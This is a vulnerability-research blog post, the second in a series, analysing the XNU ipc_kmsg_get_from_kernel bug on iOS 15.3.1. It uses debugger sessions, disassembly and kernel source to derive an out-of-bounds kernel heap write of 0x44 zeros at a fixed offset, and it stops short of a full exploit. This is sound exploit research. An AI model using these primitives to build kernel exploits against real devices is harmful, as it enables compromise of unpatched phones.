ipc_kmsg_blogpost_part2

ipc_kmsg_get_from_kernel - part 2, exploitation primitive

Recap

In my previous blogpost ipc_kmsg_get_from_kernel - iOS 15.4 I detailed the root cause analysis for the ipc_kmsg_get_from_kernel vulnerability in XNU. We understood the fundamentals of the vulnerable flow, the involved structures, and the great (tweetable :P) POC by Synacktiv. We proved we can corrupt an ipc_kmsg by corrupting ikm_header and crash on writing to it.

Now, it’s time to build some exploitation primitives. In this blogpost we will build an overlapping between structures and see how it creates (a pretty disappointing, but exploitable) OOB write. Then, we discuss more elegant options.

Notes:

  1. this blogpost is about analyzing the overlap, not building an exploit.
  2. for this blogpost, I used a virtual iPhone 13, iOS 15.3.1 (19D52), Corellium.

Different messages

Reminder - ikm_header is PAC’d

The first thing we need to do is to escape the ikm_header corruption. As a reminder: right after the memcpy, there is a dereference for write:

FFFFFFF007BD0164 ; memcpy(kmsg->ikm_header, msg, size);
FFFFFFF007BD0164 BL              _memmove
FFFFFFF007BD0168 MOV             W23, #0
FFFFFFF007BD016C LDR             X16, [X22,#0x18]
FFFFFFF007BD0170 AUTDA           X16, X24
FFFFFFF007BD0174 ; kmsg->ikm_header->msgh_size = size;
FFFFFFF007BD0174 STR             W20, [X16,#4]

And because ikm_header is PAC’d, I really want to avoid this. At least at this point, before I build more primitives. And it’s clear how we can avoid it - we need a smaller message size. With a smaller size, the underflow in the pointer arithmetic won’t get backward enough to corrupt ikm_header, and it will remain intact.

This is a bit disappointing because it kills a really nice technique we could have done - we could have shaped two kmsgs one after the other, use the second to corrupt the first, and simply receive it. However, every size that will go backward beyond ikm_header of the vulnerable kmsg will corrupt ikm_header, and we will crash immediately after the memcpy.

First of all, let’s revisit the underflow in the pointer arithmetic in code. This is the source code (in ikm_set_header funciton, in osfmk/ipc/ipc_kmsg.c):

static void
ikm_set_header(
	ipc_kmsg_t kmsg,
	void *data,
	mach_msg_size_t size)
{
	mach_msg_size_t mtsize = size + MAX_TRAILER_SIZE;
	if (data) {
		kmsg->ikm_data = data;
		kmsg->ikm_header = (mach_msg_header_t *)((uintptr_t)data + kmsg->ikm_size - mtsize);
	} else {
		assert(kmsg->ikm_size == IKM_SAVED_MSG_SIZE);
    // underflow in pointer arithmetic happens here, where mtsize > kmsg->ikm_size
		kmsg->ikm_header = (mach_msg_header_t *)(vm_offset_t)
		    (kmsg->ikm_inline_data + kmsg->ikm_size - mtsize);
	}
}

This is the assembly:

__TEXT_EXEC:__text:FFFFFFF007BD00F0 ; w8 = size + MAX_TRAILER_SIZE (mtsize)
__TEXT_EXEC:__text:FFFFFFF007BD00F0 ADD             W8, W20, #0x44 ; 'D'
__TEXT_EXEC:__text:FFFFFFF007BD00F4 ADD             X9, X22, #0x18
__TEXT_EXEC:__text:FFFFFFF007BD00F8 LDR             W10, [X22,#0x48]
__TEXT_EXEC:__text:FFFFFFF007BD00FC ; kmsg->ikm_inline_data + kmsg->ikm_size - mtsize
__TEXT_EXEC:__text:FFFFFFF007BD00FC ADD             X10, X22, X10
__TEXT_EXEC:__text:FFFFFFF007BD0100 SUB             X8, X10, X8
__TEXT_EXEC:__text:FFFFFFF007BD0104 ADD             X8, X8, #0x5C ; '\'
__TEXT_EXEC:__text:FFFFFFF007BD0108 MOVK            X9, #0x3CA5,LSL#48
__TEXT_EXEC:__text:FFFFFFF007BD010C PACDA           X8, X9
__TEXT_EXEC:__text:FFFFFFF007BD0110 ; write to kmsg->ikm_header
__TEXT_EXEC:__text:FFFFFFF007BD0110 STR             X8, [X22,#0x18]

So, clearly:

MAX_TRAILER_SIZE = 0x44
offsetof(ipc_kmsg, ikm_inline_data) = 0x5c
w8 = mtsize = size + MAX_TRAILER_SIZE
w10 = kmsg->ikm_size

Let’s see the pointer arithmetic underflow happens:

(lldb)  
Process 1 stopped
* thread #6, stop reason = instruction step over
    frame #0: 0xfffffff007bd00fc
->  0xfffffff007bd00fc: add    x10, x22, x10
    0xfffffff007bd0100: sub    x8, x10, x8
    0xfffffff007bd0104: add    x8, x8, #0x5c
    0xfffffff007bd0108: movk   x9, #0x3ca5, lsl #48
Target 0: (No executable module.) stopped.
(lldb) reg read x22
     x22 = 0xffffffe21ad95b00
(lldb) reg read x10
     x10 = 0x00000000000000a0
(lldb) reg read x8
      x8 = 0x0000000000000194

In the case of exceptions and ARM_THREAD_STATE64, we get mtsize=0x194, while the prealloc message is 0xa0. Let’s see what happens if we would try a different message.

Flavors and behaviors

By examining the structures in osfmk/mach/arm/_structs.h and the possible flavors, we can see all the other exception-related structures are too small. These are the flavors to choose from:

/*
 *  Flavors
 */

#define ARM_THREAD_STATE         1
#define ARM_UNIFIED_THREAD_STATE ARM_THREAD_STATE
#define ARM_VFP_STATE            2
#define ARM_EXCEPTION_STATE      3
#define ARM_DEBUG_STATE          4 /* pre-armv8 */
#define THREAD_STATE_NONE        5
#define ARM_THREAD_STATE64       6
#define ARM_EXCEPTION_STATE64    7
//      ARM_THREAD_STATE_LAST    8 /* legacy */
#define ARM_THREAD_STATE32       9

#ifdef XNU_KERNEL_PRIVATE
#define X86_THREAD_STATE_NONE    13 /* i386/thread_status.h THREAD_STATE_NONE */
#endif /* XNU_KERNEL_PRIVATE */

For example, this is the size we get for ARM_DEBUG_STATE:

* thread #2, stop reason = breakpoint 2.1
    frame #0: 0xfffffff007bd00fc
->  0xfffffff007bd00fc: add    x10, x22, x10
    0xfffffff007bd0100: sub    x8, x10, x8
    0xfffffff007bd0104: add    x8, x8, #0x5c
    0xfffffff007bd0108: movk   x9, #0x3ca5, lsl #48
Target 0: (No executable module.) stopped.
(lldb) reg read x10
     x10 = 0x00000000000000a0
(lldb) reg read x8
      x8 = 0x000000000000007c
(lldb) c

ARM_DEBUG_STATE is actually smaller than the prealloc kmsg of mktimer, so we do not corrupt any memory.

However, here we just checked the flavor parameter, not the behavior. Among the behaviors, we can choose among:

/*
 *	Machine-independent exception behaviors
 */

# define EXCEPTION_DEFAULT              1
/*	Send a catch_exception_raise message including the identity.
 */

# define EXCEPTION_STATE                2
/*	Send a catch_exception_raise_state message including the
 *	thread state.
 */

# define EXCEPTION_STATE_IDENTITY       3
/*	Send a catch_exception_raise_state_identity message including
 *	the thread identity and state.
 */

# define EXCEPTION_IDENTITY_PROTECTED       4
/*	Send a catch_exception_raise message including protected task
 *  and thread identity.
 */

#define MACH_EXCEPTION_ERRORS           0x40000000
/*	include additional exception specific errors, not used yet.  */

#define MACH_EXCEPTION_CODES            0x80000000
/*	Send 64-bit code and subcode in the exception header */

#define MACH_EXCEPTION_MASK             (MACH_EXCEPTION_CODES | MACH_EXCEPTION_ERRORS)

Interesting. So, EXCEPTION_STATE and ARM_THREAD_STATE64 gives us 0x194, which is too much. We expect that EXCEPTION_STATE_IDENTITY would have bigger size (since it includes both the identity and the state). And indeed:

* thread #6, stop reason = breakpoint 2.1
    frame #0: 0xfffffff007bd00fc
->  0xfffffff007bd00fc: add    x10, x22, x10
    0xfffffff007bd0100: sub    x8, x10, x8
    0xfffffff007bd0104: add    x8, x8, #0x5c
    0xfffffff007bd0108: movk   x9, #0x3ca5, lsl #48
Target 0: (No executable module.) stopped.
(lldb) reg read x10
     x10 = 0x00000000000000a0
(lldb) reg read x8
      x8 = 0x00000000000001c0
(lldb) breakpoint set -a 0xFFFFFFF007BD016C 
Breakpoint 3: address = 0xfffffff007bd016c

Yep, mtsize is 0x1c0 (which is indeed bigger than before). Of course, it means we immedialey crash on the dereference to ikm_header, which happens right after the memcpy. Again.

And if we try EXCEPTION_DEFAULT:

* thread #5, stop reason = breakpoint 2.1
    frame #0: 0xfffffff007bd00fc
->  0xfffffff007bd00fc: add    x10, x22, x10
    0xfffffff007bd0100: sub    x8, x10, x8
    0xfffffff007bd0104: add    x8, x8, #0x5c
    0xfffffff007bd0108: movk   x9, #0x3ca5, lsl #48
Target 0: (No executable module.) stopped.
(lldb) reg read x10
     x10 = 0x00000000000000a0
(lldb) reg read x8
      x8 = 0x00000000000000a0
(lldb) 

Not big enough, there isn’t a corruption in this case. If we try EXCEPTION_IDENTITY_PROTECTED:

* thread #1, stop reason = breakpoint 3.1
    frame #0: 0xfffffff007bd00fc
->  0xfffffff007bd00fc: add    x10, x22, x10
    0xfffffff007bd0100: sub    x8, x10, x8
    0xfffffff007bd0104: add    x8, x8, #0x5c
    0xfffffff007bd0108: movk   x9, #0x3ca5, lsl #48
Target 0: (No executable module.) stopped.
(lldb) reg read x10
     x10 = 0x00000000000000a0
(lldb) reg read x8
      x8 = 0x000000000000007c

Even smaller than the prealloc buffer.

MACH_EXCEPTION_CODES

There are two interesting flags in the behaviors definitions:

#define MACH_EXCEPTION_ERRORS           0x40000000
/*	include additional exception specific errors, not used yet.  */

#define MACH_EXCEPTION_CODES            0x80000000
/*	Send 64-bit code and subcode in the exception header */

We could use these in order to increase smaller messages, and corrupt a bit more from the ipc_kmsg structure (but aim for something that comes after ikm_header).

Let’s try out EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES:

* thread #6, stop reason = breakpoint 2.1
    frame #0: 0xfffffff007bd00fc
->  0xfffffff007bd00fc: add    x10, x22, x10
    0xfffffff007bd0100: sub    x8, x10, x8
    0xfffffff007bd0104: add    x8, x8, #0x5c
    0xfffffff007bd0108: movk   x9, #0x3ca5, lsl #48
Target 0: (No executable module.) stopped.
(lldb) reg read x10
     x10 = 0x00000000000000a0
(lldb) reg read x8
      x8 = 0x00000000000000a8
(lldb) 

Great! Interesting! We still have an underflow in the pointer arithmetic, but without the huge number we had before. This certainly won’t get backward enough to corrupt ikm_header.

Let’s breakpoint on the corrupting memcpy and dump the kmsg to see what we have, and where we are start corrupting:

* thread #5, stop reason = breakpoint 2.1
    frame #0: 0xfffffff007bd0164
->  0xfffffff007bd0164: bl     -0xff634e7f0
    0xfffffff007bd0168: mov    w23, #0x0
    0xfffffff007bd016c: ldr    x16, [x22, #0x18]
    0xfffffff007bd0170: b      -0xff59ebf10
Target 0: (No executable module.) stopped.
(lldb) x/14gx $x22
0xffffffe30148c700: 0x0000000000000000 0x0000000000000000
0xffffffe30148c710: 0xffea92e21b254640 0xfff8e5e30148c754
0xffffffe30148c720: 0x0000000000000000 0x0000000000000000
0xffffffe30148c730: 0x0000000000000000 0x0000000000000000
0xffffffe30148c740: 0x0000000000000000 0x00000000000000a0
0xffffffe30148c750: 0x0000000000000000 0x0000000000000000
0xffffffe30148c760: 0x0000000000000000 0x0000000000000000
(lldb) reg read x0
      x0 = 0xffffffe30148c754 <-- dst
(lldb) reg read x2
      x2 = 0x0000000000000064 <-- length
(lldb) reg read x22
     x22 = 0xffffffe30148c700 <-- ipc_kmsg
(lldb) 

Interesting. So, we are starting to corrupt from offset 0x54 of ipc_kmsg, and we actually are 0xc bytes ahead of the size (which is a bit unfortunate, could be interesting to corrupt ikm_size).

As I said in the previous blogpost, there are other things the kernel could send to an mqueue, and their size could be controlled (to some degree). However, this 8-bytes-corruption leads to a very interesting panic (we are writing more than 8 bytes, but let’s focus on corrupting ipc_kmsg fields from offset 0x54 to 0x5c, which is where ikm_inline_data starts). So I would like to share the analysis of what’s going on, for fun.

New panic, new primitives

Let’s view the corruption carefully - dump the kmsg before and after the memcpy:

(lldb) x/14gx $x22
0xffffffe21ac1cd00: 0x0000000000000000 0x0000000000000000
0xffffffe21ac1cd10: 0xffe7d9e3e51a8780 0xffef22e21ac1cd54
0xffffffe21ac1cd20: 0x0000000000000000 0x0000000000000000
0xffffffe21ac1cd30: 0x0000000000000000 0x0000000000000000
0xffffffe21ac1cd40: 0x0000000000000000 0x00000000000000a0
0xffffffe21ac1cd50: 0x0000000000000000 0x0000000000000000
0xffffffe21ac1cd60: 0x0000000000000000 0x0000000000000000

Continue, and dump the kmsg again, after the memcpy:

* thread #5, stop reason = breakpoint 4.1
    frame #0: 0xfffffff007bd0168
->  0xfffffff007bd0168: mov    w23, #0x0
    0xfffffff007bd016c: ldr    x16, [x22, #0x18]
    0xfffffff007bd0170: b      -0xff59ed428
    0xfffffff007bd0174: str    w20, [x16, #0x4]
Target 0: (No executable module.) stopped.
(lldb) x/14gx $x22
0xffffffe21ac1cd00: 0x0000000000000000 0x0000000000000000
0xffffffe21ac1cd10: 0xffe7d9e3e51a8780 0xffef22e21ac1cd54
0xffffffe21ac1cd20: 0x0000000000000000 0x0000000000000000
0xffffffe21ac1cd30: 0x0000000000000000 0x0000000000000000
0xffffffe21ac1cd40: 0x0000000000000000 0x00000000000000a0
0xffffffe21ac1cd50: 0x8000151300000000 0xe51a878000000000
0xffffffe21ac1cd60: 0x00000000ffffffe3 0x0000000000000000
(lldb)

Now, if we carry on with the flow, we get an interesting panic, immediately:

panic(cpu 4 caller 0xfffffff00833fec0): Kernel data abort. at pc 0xfffffff009cb185c, lr 0xff9ccaf007bd0660 (saved state: 0xffffffeb16282360)
          x0:  0xffffffe22bc1cdb8 x1:  0xfffffff00700ba78  x2:  0x000000000000003c  x3:  0xffffffe22bc1cdc0
          x4:  0x0000000000000000 x5:  0x0000000000000008  x6:  0x0000000000000000  x7:  0xffffffeb16282648
          x8:  0x0000000000000000 x9:  0x0000000000000001  x10: 0x0000000000000000  x11: 0x0000000000000000
          x12: 0x0000000800000000 x13: 0x0000000000000000  x14: 0x0000000000000001  x15: 0x0000000000000000
          x16: 0xffffffe21ac1cd54 x17: 0x3ca5ffe21ac1cd18  x18: 0x0000000000000000  x19: 0xffffffe21ac1cd00
          x20: 0x0000000000000000 x21: 0xffffffe22bc1cdb8  x22: 0x3ca5ffe21ac1cd18  x23: 0xffffffe21ac1cd18
          x24: 0x0000000000000002 x25: 0xffffffe21ac1cd98  x26: 0xffffffe21ac1cd18  x27: 0x3ca5ffe21ac1cd18
          x28: 0x0000000080111513 fp:  0xffffffeb162826b0  lr:  0xff9ccaf007bd0660  sp:  0xffffffeb162826b0
          pc:  0xfffffff009cb185c cpsr: 0x20401204         esr: 0x96000046          far: 0xffffffe22bc1cdb8

Debugger message: panic
Device: D17
Hardware Model: iPhone14,5

Looking at pc, we see it’s the following instruction, in the memcpy function:

FFFFFFF009CB185C STP             X12, X13, [X0]

While x0 is unmapped memory. Interesting, looks like something called memcpy with a problematic dst (we can see from the registers in the panic that the length field is very low and reasonble. And x0 doesn’t seem like it crossed a page boundary, so it doesn’t seem like length is the problem here).

Looking at lr and the callstack, we see exactly the callsite that calls memcpy - it’s in ikm_sign; specifically, in ipc_kmsg_init_trailer (which is inlined in the kernelcache):

FFFFFFF007BD05D0                 BL              zone_require
FFFFFFF007BD05D4                 MOV             X23, X19
FFFFFFF007BD05D8                 LDR             X8, [X23,#0x18]!
FFFFFFF007BD05DC ; inlined ipc_kmsg_init_trailer
FFFFFFF007BD05DC                 MOV             X16, X8
FFFFFFF007BD05E0                 MOV             X22, X23
FFFFFFF007BD05E4                 MOVK            X22, #0x3CA5,LSL#48
FFFFFFF007BD05E8                 MOV             X17, X23
FFFFFFF007BD05EC                 MOVK            X17, #0x3CA5,LSL#48
FFFFFFF007BD05F0                 AUTDA           X16, X17
FFFFFFF007BD05F4                 LDR             W9, [X16,#4]
FFFFFFF007BD05F8                 CMP             X8, #0
FFFFFFF007BD05FC                 CSEL            X8, XZR, X16, EQ
FFFFFFF007BD0600 ; x9 here is 0x11000064, goes OOB
FFFFFFF007BD0600                 ADD             X21, X8, X9
FFFFFFF007BD0604                 CBZ             X20, call_memcpy
...
FFFFFFF007BD064C call_memcpy     
FFFFFFF007BD064C                 ADRL            X1, KERNEL_TRAILER_TEMPLATE ; void *
FFFFFFF007BD0654                 MOV             X0, X21 ; void *
FFFFFFF007BD0658                 MOV             W2, #0x44 ; 'D' ; size_t
FFFFFFF007BD065C                 BL              _memmove

And this is the ipc_kmsg_init_trailer function:

/*
 *	Routine:	ipc_kmsg_init_trailer
 *	Purpose:
 *		Initiailizes a trailer in a message safely.
 */
void
ipc_kmsg_init_trailer(
	ipc_kmsg_t          kmsg,
	mach_msg_size_t     size,
	task_t              sender)
{
	static const mach_msg_max_trailer_t KERNEL_TRAILER_TEMPLATE = {
		.msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0,
		.msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE,
		.msgh_sender = KERNEL_SECURITY_TOKEN_VALUE,
		.msgh_audit = KERNEL_AUDIT_TOKEN_VALUE
	};

	mach_msg_max_trailer_t *trailer;

	/*
	 * I reserve for the trailer the largest space (MAX_TRAILER_SIZE)
	 * However, the internal size field of the trailer (msgh_trailer_size)
	 * is initialized to the minimum (sizeof(mach_msg_trailer_t)), to optimize
	 * the cases where no implicit data is requested.
	 */
	trailer = (mach_msg_max_trailer_t *)((vm_offset_t)kmsg->ikm_header + size);
	if (sender == TASK_NULL) {
		memcpy(trailer, &KERNEL_TRAILER_TEMPLATE, sizeof(*trailer));
	} else {
		bzero(trailer, sizeof(*trailer));
		trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
		trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
		trailer->msgh_sender = *task_get_sec_token(sender);
		trailer->msgh_audit = *task_get_audit_token(sender);
	}
}

We can re-run our POC and set a breakpoint on this code; specifically, on the calculation of dst (i.e. trailer), and see what’s going on. Let’s start with the corruption itself, so we’ll have our ipc_kmsg address:

* thread #5, stop reason = breakpoint 2.1
    frame #0: 0xfffffff007bd0164
->  0xfffffff007bd0164: bl     -0xff634e7f0
    0xfffffff007bd0168: mov    w23, #0x0
    0xfffffff007bd016c: ldr    x16, [x22, #0x18]
    0xfffffff007bd0170: b      -0xff59ec7c0
Target 0: (No executable module.) stopped.
(lldb) x/14gx $x22
0xffffffe301141f00: 0x0000000000000000 0x0000000000000000
0xffffffe301141f10: 0xfff8bbe30199e6c0 0xfffd4be301141f54
0xffffffe301141f20: 0x0000000000000000 0x0000000000000000
0xffffffe301141f30: 0x0000000000000000 0x0000000000000000
0xffffffe301141f40: 0x0000000000000000 0x00000000000000a0
0xffffffe301141f50: 0x0000000000000000 0x0000000000000000
0xffffffe301141f60: 0x0000000000000000 0x0000000000000000
(lldb)

And now, the callsite that triggers the problematic memcpy:

* thread #5, stop reason = breakpoint 3.1
    frame #0: 0xfffffff007bd0600
->  0xfffffff007bd0600: add    x21, x8, x9
    0xfffffff007bd0604: cbz    x20, -0xff842f9b4
    0xfffffff007bd0608: movi.2d v0, #0000000000000000
    0xfffffff007bd060c: str    wzr, [x21, #0x40]
Target 0: (No executable module.) stopped.
(lldb) reg read x16
     x16 = 0xffffffe301141f54
(lldb) reg read x8
      x8 = 0xffffffe301141f54
(lldb) reg read x9
      x9 = 0x0000000011000064
(lldb)

Indeed - our corruption caused ipc_kmsg_init_trailer to increase our kmsg->ikm_header pointer by 0x0000000011000064, and calls memcpy to write data to it!

If we could have sender != TASK_NULL we could corrupt with non-zero values. However, for that, we would need to send the message from userspace (which we can’t, the sender for an exception will always be the kernel). So it means we have to use the KERNEL_TRAILER_TEMPLATE, which means - we are corrupting something arbitrary with zeros. Therefore:

The new primitive: we can write 0x44 zeros to kmsg->ikm_header+0x11000064. And yes, it’s always 0x11000064.

That’s obviously exploitable - we can shape the kernel heap and drop interesting structures at this offset. However, before the fun starts, it’s important to understand why we can’t change this weird offset.

Understanding the offset 0x11000064

Of course, we have to understand where this offset comes from. Remember, we start to corrupt from offset +0x54 of ipc_kmsg (which is really almost the end of the structure).

A reminder - this is the end of ipc_kmsg:

...
	uintptr_t                  ikm_signature;    /* sig for all kernel-processed data */
	ipc_object_copyin_flags_t  ikm_flags;
	mach_msg_qos_t             ikm_qos_override; /* qos override on this kmsg */
	mach_msg_type_name_t       ikm_voucher_type : 8; /* disposition type the voucher came in with */

	uint8_t                    ikm_inline_data[] __attribute__((aligned(4)));
};

And the offsets:

+0x50 - ikm_signature
+0x58 - ikm_flags
+0x5a - ikm_qos_override
+0x5b - ikm_voucher_type
+0x5c - ikm_inline_data

Meaning, we are corrupting: ikm_signature (4 bytes, MSBs) ikm_flags, ikm_qos_override, and ikm_voucher_type (and keep going, but that’s less important for now).

Another important reminder is the roles of size - as I showed in the previous blogpost, ikm_header pointer is moved backward because mtsize > kmsg->ikm_size, in the pointer arithmetic in ikm_set_header.

The reason it’s so important, is that kmsg->ikm_header->msgh_size is this big offset we try to understand; this is the weird 0x11000064. And as we know, ikm_header points to our corruption (no, this value is not part of our corruption data). Let’s see it live: here is a kernel debugger breaked on the code right after the memcpy (in ipc_kmsg_get_from_kernel):

* thread #4, stop reason = breakpoint 2.1
    frame #0: 0xfffffff007bd016c
->  0xfffffff007bd016c: ldr    x16, [x22, #0x18]
    0xfffffff007bd0170: b      -0xff59ed600
    0xfffffff007bd0174: str    w20, [x16, #0x4]
    0xfffffff007bd0178: str    x22, [x19]
Target 0: (No executable module.) stopped.
(lldb) x/4gx $x22
0xffffffe21a612000: 0x0000000000000000 0x0000000000000000
0xffffffe21a612010: 0xffac11e21a881900 0xffb91be21a612054 <-- ikm_header!
(lldb) x/10gx 0xffffffe21a612054
0xffffffe21a612054: 0x0000000080001513 0xffffffe21a881900
0xffffffe21a612064: 0x0000000000000000 0x0000096500000000
0xffffffe21a612074: 0x1a9aa08000000002 0x00130000ffffffe2
0xffffffe21a612084: 0x1a96d40000000000 0x00130000ffffffe2
0xffffffe21a612094: 0x0000000000000000 0x0000000600000001

Here, x22 is our corrupted kmsg, right after the memcpy (note that offset 0x18 is of course ikm_header). And as you recall, we start to corrupt from offset 0x54. Let’s continue with our debugger, and set a breakpoint on ikm_sign (in the inlined ipc_kmsg_init_trailer part), to see our huge offset in ikm_header:

* thread #4, stop reason = breakpoint 3.1
    frame #0: 0xfffffff007bd0600
->  0xfffffff007bd0600: add    x21, x8, x9
    0xfffffff007bd0604: cbz    x20, -0xff842f9b4
    0xfffffff007bd0608: movi.2d v0, #0000000000000000
    0xfffffff007bd060c: str    wzr, [x21, #0x40]
Target 0: (No executable module.) stopped.
(lldb) reg read x16
     x16 = 0xffffffe21a612054
(lldb) x/10gx $x16
0xffffffe21a612054: 0x1100006480111211 0xffffffe21a881900
0xffffffe21a612064: 0xffffffe21a9c85a0 0x0000096500000000
0xffffffe21a612074: 0x1a9aa08000000002 0x00110000ffffffe2
0xffffffe21a612084: 0x1a96d40000000000 0x00110000ffffffe2
0xffffffe21a612094: 0x0000000000000000 0x0000000600000001
(lldb)

Bingo! In this code, x16 is read from our kmsg as ikm_header, validated (using AUTDA), and then used to read kmsg->ikm_header->msgh_size! Here is the code again:

FFFFFFF007BD05D0 BL              zone_require
FFFFFFF007BD05D4 ; inlined ipc_kmsg_init_trailer
FFFFFFF007BD05D4 MOV             X23, X19
FFFFFFF007BD05D8 ; fetch kmsg->ikm_header
FFFFFFF007BD05D8 LDR             X8, [X23,#0x18]!
FFFFFFF007BD05DC MOV             X16, X8
FFFFFFF007BD05E0 MOV             X22, X23
FFFFFFF007BD05E4 MOVK            X22, #0x3CA5,LSL#48
FFFFFFF007BD05E8 MOV             X17, X23
FFFFFFF007BD05EC MOVK            X17, #0x3CA5,LSL#48
FFFFFFF007BD05F0 ; validate ikm_header PAC signature
FFFFFFF007BD05F0 AUTDA           X16, X17
FFFFFFF007BD05F4 ; fetch kmsg->ikm_header->msgh_size
FFFFFFF007BD05F4 LDR             W9, [X16,#4]
FFFFFFF007BD05F8 CMP             X8, #0
FFFFFFF007BD05FC CSEL            X8, XZR, X16, EQ
FFFFFFF007BD0600 ; x9 here is 0x11000064, goes OOB
FFFFFFF007BD0600 ADD             X21, X8, X9
FFFFFFF007BD0604 ; check if sender == TASK_NULL
FFFFFFF007BD0604 CBZ             X20, call_memcpy

So, we can see some fields have changed; some code modified our corrupted value. It’s time to understand why and how.

Overlapping structures

As we saw in the previous blogpost, we shifted ikm_header backward, so it’ll point to the middle of ipc_kmsg. The scenario we created here is that ikm_header overlaps with a part of the ipc_kmsg structure. Therefore, when we speak about “different/better mach messages”, we basically mean “a message with size that gives a better overlap”.

For instance, the use of EXCEPTION_STATE and ARM_THREAD_STATE64 gave a really bad overlap - we corrupted and immediately dereferenced kmsg->ikm_header. Without a PAC bypass, this is not exploitable.

Now, with EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES, we get a different overlap (in which we do not corrupt kmsg->ikm_header). And this is the interesting part - the code that modifies kmsg->ikm_header->msgh_size doesn’t intend to change msgh_size to this huge value, it intends to change another thing. Actually, two things. From two different structures.

Let’s see this live. We can re-run our POC, and set a watchpoint on ikm_header->msg_size:

Process 1 stopped
* thread #6, stop reason = watchpoint 2
    frame #0: 0xfffffff007bd0174
->  0xfffffff007bd0174: str    w20, [x16, #0x4]
    0xfffffff007bd0178: str    x22, [x19]
    0xfffffff007bd017c: mov    x0, x23
    0xfffffff007bd0180: ldp    x29, x30, [sp, #0x40]
Target 0: (No executable module.) stopped.
(lldb) reg read x16
     x16 = 0xffffffe3e5dd2754
(lldb) reg read x20
     x20 = 0x0000000000000064
(lldb) x/2gx $x16
0xffffffe3e5dd2754: 0x0000000080001513 0xffffffe1351335c0
(lldb) c
Process 1 resuming

Watchpoint 2 hit:
old value: 3824459607317676032
new value: 3824459607317676132
Process 1 stopped
* thread #6, stop reason = watchpoint 2
    frame #0: 0xfffffff007bfec50
->  0xfffffff007bfec50: strb   w10, [x8, #0x5b]
    0xfffffff007bfec54: ldr    x16, [x8, #0x18]
    0xfffffff007bfec58: nop    
    0xfffffff007bfec5c: ldr    w8, [x16]
Target 0: (No executable module.) stopped.
(lldb) reg read x8
      x8 = 0xffffffe3e5dd2700
(lldb) reg read x10
     x10 = 0x0000000000000011
(lldb) c
Process 1 resuming
Process 1 stopped
* thread #6, stop reason = breakpoint 3.1
    frame #0: 0xfffffff007bd0600
->  0xfffffff007bd0600: add    x21, x8, x9
    0xfffffff007bd0604: cbz    x20, -0xff842f9b4
    0xfffffff007bd0608: movi.2d v0, #0000000000000000
    0xfffffff007bd060c: str    wzr, [x21, #0x40]
Target 0: (No executable module.) stopped.
(lldb) reg read x9
      x9 = 0x0000000011000064
(lldb) 

Fantastic! Now everything is clear. Our value 0x11000064 is combined out of two values: 0x11 and 0x64, and the code sets these two values as the following fields:

Makes perfect sense. 0x64 is indeed our size (0xa8 - 0x44), and 0x11 is the type MACH_MSG_TYPE_MOVE_SEND, which is set in ipc_kmsg_set_voucher_port. In our case, it’s MACH_MSG_TYPE_MOVE_SEND, which defined to be (/osfmk/mach/message.h):

#define MACH_MSG_TYPE_MOVE_RECEIVE      16      /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND         17      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MOVE_SEND_ONCE    18      /* Must hold sendonce right */
#define MACH_MSG_TYPE_COPY_SEND         19      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MAKE_SEND         20      /* Must hold receive right */
#define MACH_MSG_TYPE_MAKE_SEND_ONCE    21      /* Must hold receive right */
#define MACH_MSG_TYPE_COPY_RECEIVE      22      /* NOT VALID */
#define MACH_MSG_TYPE_DISPOSE_RECEIVE   24      /* must hold receive right */
#define MACH_MSG_TYPE_DISPOSE_SEND      25      /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26      /* must hold sendonce right */

#define MACH_MSG_TYPE_PORT_NONE         0

Controlling the offset?

Now that we understand this offset, we could discuss changing it. Unfortunaltey, that seems like a very short discussion:

Looks like 0x11000064 it is.

Note that all of that is with the very same POC (see previous blogpost), with the only modifcation of the call to thread_set_exception_ports. Instead of EXCEPTION_STATE, we use EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES:

thread_set_exception_ports(mach_thread_self(),
                                    EXC_MASK_ALL,
                                    *(int *)arg,
                                    EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES,
                                    ARM_THREAD_STATE64);

New primitive - sum up

So, we have an OOB write on the kernel heap, with the following restrictions:

At least, unlike the write to ikm_header, this is clearly exploitable.

And again - keep in mind that all of the above flow is deterministic. The probabilistic part starts now, with shaping.

What’s next?

Shaping and structures

Well, we need shaping. Without shaping, you always get the panic in memcpy while trying to write to *(kmsg->ikm_header+0x11000064). After shaping, we don’t crash on the write (because we have mapped memory at this offset), and we can keep going. If we shape some structure to be at this offset, we can start building interesting primitives. Eventually, we could leak kernel pointers and build arbitrary read/write. And as we all know - arbitrary read/write always leads to game over.

A better message?

While this OOB is clearly exploitable, I believe we could get much better primitives. I still have this part from Ian’s blog on my mind:

There are only and handful of places where the kernel actually sends userspace a mach message. There are various types of notification messages like IODataQueue data-available notifications, IOServiceUserNotifications and no-senders notifications. These usually only contains a small amount of user-controlled data. The only message types sent by the kernel which seem to contain a decent amount of user-controlled data are exception messages.

Here, we just considered exceptions. That makes sense if you care about controlling the content (as I showed in my previous blogpost, exceptions have the thread’s state, which means you can control the content just by setting values in your GPRs, etc.). However, we don’t really care about the content of the corruption here (at least, we are not strict about it); the overlap between ikm_header and part of ipc_kmsg could give us really powerful and stable primitives. So, if we could find an IOKit service that:

then we could have a much better and more elegant exploit. And I prefer to look for more messages that might give us better primitives before diving into not-so-much-fun spraying. But this is for another time.

Sum up

In this blogpost, we found another message we can use, which is small enough so that we are not corrupting ikm_header. As we saw, this is essential, because ipc_kmsg_get_from_kernel dereferences ikm_header for write right after the corrupting memcpy, and ikm_header is PAC’d.

With the exploitation primitive in hand (writing 0x44 zeros at offset 0x11000064) we can drop in that offset many interesting structures, leak kernel pointers, and build arbitrary read/write. True, we have many restrictions on the corruption, but this is clearly more than enough for an exploit. However, before we dive into that, I would like to look for better overlaps :)

Heap mitigations:

